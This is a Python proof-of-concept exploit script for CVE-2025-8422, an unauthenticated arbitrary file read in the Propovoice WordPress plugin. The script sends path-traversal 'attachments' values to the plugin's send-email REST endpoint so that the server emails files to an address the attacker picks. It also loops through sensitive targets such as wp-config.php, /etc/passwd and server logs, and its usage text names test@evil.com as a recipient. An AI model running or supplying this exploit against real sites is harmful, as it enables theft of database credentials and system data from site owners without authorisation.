#!/usr/bin/env python3 """ CVE-2025-8422: Propovoice <= 1.7.6.7 - Unauthenticated Arbitrary File Read Proof of Concept Exploit This vulnerability allows unauthenticated attackers to read arbitrary files by manipulating the 'attachments' parameter in the send_email() function. """ import requests import sys import json import base64 def exploit_arbitrary_file_read(base_url, target_file, email_recipient): """ Exploit the Arbitrary File Read vulnerability in Propovoice plugin The vulnerability exists in the send_email() function where the 'attachments' parameter gets processed through str_replace() without proper validation, allowing attackers to read arbitrary files via email attachments. """ print(f"[*] CVE-2025-8422 Exploit - Propovoice Arbitrary File Read") print(f"[*] Target: {base_url}") print(f"[*] File to read: {target_file}") print(f"[*] Email recipient: {email_recipient}") print("-" * 60) # WordPress REST API endpoint for Propovoice api_endpoint = f"{base_url}/wp-json/ndpv/v1/send-email" # Craft malicious attachment URL # The vulnerable code does: str_replace($site_url . '/wp-content', $content_dir, $attachment_url) # We can manipulate this by crafting a URL that will result in our target file path # Get site URL first to craft proper payload site_info_url = f"{base_url}/wp-json/wp/v2" try: response = requests.get(site_info_url, timeout=10) if response.status_code == 200: site_data = response.json() site_url = site_data.get('home', base_url) else: site_url = base_url except: site_url = base_url print(f"[*] Detected site URL: {site_url}") # Craft the malicious attachment URL # Pattern: site_url + '/wp-content' + path_to_target_file # This will make str_replace() convert it to: content_dir + path_to_target_file malicious_attachment = f"{site_url}/wp-content{target_file}" # Payload for the send_email API payload = { "to": email_recipient, "subject": "File Exfiltration Test", "message": "This email contains a file read via CVE-2025-8422", "postId": "1", # Required parameter "attachments": [malicious_attachment], # Malicious file path "cc": "", "bcc": "" } print(f"[*] Crafted malicious attachment URL: {malicious_attachment}") print(f"[*] Sending request to: {api_endpoint}") try: # Send the malicious request response = requests.post( api_endpoint, json=payload, headers={ 'Content-Type': 'application/json', 'User-Agent': 'CVE-2025-8422-Exploit' }, timeout=15 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") if response.status_code == 200: try: result = response.json() if result.get('success'): print("[!] EXPLOITATION SUCCESSFUL!") print("[!] Email sent with arbitrary file as attachment") print(f"[!] Check email at: {email_recipient}") print("[!] The file contents should be attached to the email") return True else: print(f"[~] API returned success=false: {result}") except json.JSONDecodeError: print(f"[~] Non-JSON response: {response.text[:200]}") elif response.status_code == 403: print("[-] Access denied - plugin may require authentication") elif response.status_code == 404: print("[-] Endpoint not found - plugin may not be installed/active") else: print(f"[-] Unexpected status code: {response.status_code}") print(f"[-] Response: {response.text[:300]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False def test_multiple_files(base_url, email_recipient): """ Test reading multiple sensitive files """ target_files = [ "/../../../wp-config.php", # WordPress config "/../../../../etc/passwd", # System users "/../../../../etc/hostname", # System hostname "/../../../../proc/version", # System version "/../../../.htaccess", # Apache config "/../../../../var/log/apache2/access.log", # Web server logs "/../../../../var/log/mysql/error.log", # Database logs ] print(f"[*] Testing multiple file read attempts") success_count = 0 for target_file in target_files: print(f"\n" + "="*50) if exploit_arbitrary_file_read(base_url, target_file, email_recipient): success_count += 1 print("="*50) print(f"\n[*] Exploitation Summary:") print(f"[*] Files attempted: {len(target_files)}") print(f"[*] Successful reads: {success_count}") if success_count > 0: print("[!] VULNERABILITY CONFIRMED - Arbitrary File Read successful!") print("[!] Check the specified email address for file contents") else: print("[~] No successful file reads - plugin may be patched or protected") def main(): if len(sys.argv) < 3: print("Usage: python3 cve-2025-8422-exploit.py [target_file]") print("\nExamples:") print(" python3 cve-2025-8422-exploit.py https://example.com admin@example.com") print(" python3 cve-2025-8422-exploit.py https://example.com test@evil.com /../../../wp-config.php") sys.exit(1) target_url = sys.argv[1].rstrip('/') email_recipient = sys.argv[2] if len(sys.argv) >= 4: # Single file test target_file = sys.argv[3] success = exploit_arbitrary_file_read(target_url, target_file, email_recipient) if success: print("\n[!] Exploitation successful - check email for file contents!") else: print("\n[~] Exploitation failed") else: # Multiple file test test_multiple_files(target_url, email_recipient) if __name__ == "__main__": main()